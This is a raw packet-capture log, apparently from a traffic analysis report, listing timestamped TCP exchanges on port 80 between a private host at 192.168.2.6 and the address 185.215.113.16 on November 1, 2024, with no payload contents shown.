Nov 1, 2024 03:46:22.706947088 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.706973076 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.706984997 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.707094908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707104921 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707133055 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.707211971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707225084 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707247019 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.707272053 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.707426071 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707437992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707463026 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.707479954 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.707633018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707674026 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.707740068 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707751989 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707786083 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.707801104 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.707969904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707981110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.707993984 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.708009005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.708017111 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.708030939 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.708050966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.708307981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.708344936 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.708348036 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.708376884 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.708487988 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.708499908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.708528996 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.708540916 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.747860909 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.747881889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.747891903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.748011112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.788484097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.788538933 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.788563967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.788577080 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.788604975 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.788619995 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.788706064 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.788750887 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.788791895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.788804054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.788827896 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.788850069 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.788924932 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.788947105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.788959026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.788965940 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.788985014 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.788999081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790334940 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790366888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790385008 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790410042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790416002 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790447950 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790518999 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790530920 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790540934 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790551901 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790570021 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790590048 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790755987 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790766954 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790796995 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790822029 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790859938 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790920019 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790930986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.790954113 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.790971994 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.791089058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.791099072 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.791136026 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.824960947 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.824974060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825021029 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825025082 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825047016 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825067043 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825251102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825263977 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825275898 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825284958 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825308084 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825438976 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825476885 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825485945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825520039 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825598001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825639009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825649023 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825668097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825689077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825700998 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825814962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825825930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825835943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.825850964 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.825875044 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826087952 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826126099 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826153994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826168060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826195002 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826209068 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826329947 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826343060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826369047 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826383114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826533079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826545000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826577902 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826591969 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826749086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826761007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826790094 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826802015 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.826977968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.826989889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.827001095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.827020884 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.827034950 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.866590977 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.866600990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.866650105 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.866750002 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.866784096 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.866792917 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.866822958 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.907188892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907250881 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907255888 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.907262087 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907452106 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907453060 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.907453060 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.907468081 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907491922 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.907504082 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.907556057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907594919 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.907649994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907689095 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.907782078 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907793999 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907824039 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.907941103 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.907979965 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.908051968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.908063889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.908091068 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.908103943 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909116983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909158945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909159899 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909169912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909190893 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909208059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909333944 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909374952 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909429073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909440041 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909459114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909481049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909584999 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909596920 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909621000 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909634113 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909755945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909791946 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909816027 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909853935 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.909898996 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.909935951 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.943716049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.943772078 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.943772078 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.943783998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.943809986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.943824053 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.943938971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.943949938 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.943984032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944000959 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944108963 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944144964 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944144964 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944185019 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944264889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944276094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944303036 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944315910 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944399118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944437981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944519997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944531918 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944554090 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944578886 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944691896 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944704056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944736004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944912910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944925070 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944936037 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.944951057 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.944987059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.945207119 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945249081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.945290089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945301056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945326090 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.945339918 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.945461035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945472956 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945483923 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945497036 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945533037 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.945837975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945903063 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.945934057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945945024 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.945971966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.945985079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.946223021 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.946261883 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.985536098 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.985588074 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.985596895 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.985599995 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.985625029 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.985641003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.025981903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026015043 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026050091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026051044 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026074886 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026082993 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026217937 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026228905 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026240110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026257992 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026269913 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026288986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026546001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026559114 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026571035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026580095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026591063 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026602030 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026637077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026830912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026869059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.026916981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.026956081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.027877092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.027941942 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.027976990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.027988911 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.028028011 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.028042078 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.028162003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.028173923 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.028208017 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.028220892 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.028275967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.028287888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.028325081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.028337955 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.028425932 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.028472900 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.028486967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.028532028 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.028605938 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.028616905 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.028647900 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.028660059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.062833071 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.062848091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.062860012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.062889099 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.062925100 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.062998056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063050032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.063133955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063146114 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063157082 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063173056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063179970 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.063196898 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.063231945 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.063546896 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063560009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063591957 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.063616037 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.063812017 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063846111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063858032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063868046 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.063878059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.063894033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.063927889 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.064099073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064111948 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064122915 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064135075 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064146042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064157009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064167976 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.064167976 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.064203978 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.064673901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064685106 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064728022 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.064821005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064834118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.064861059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.064893961 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.065038919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.065053940 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.065068007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.065076113 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.065082073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.065098047 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.065135956 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.104312897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.104373932 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.104381084 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.104387045 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.104412079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.104435921 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.151664972 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.151727915 CET	80	58527	185.215.113.16	192.168.2.6
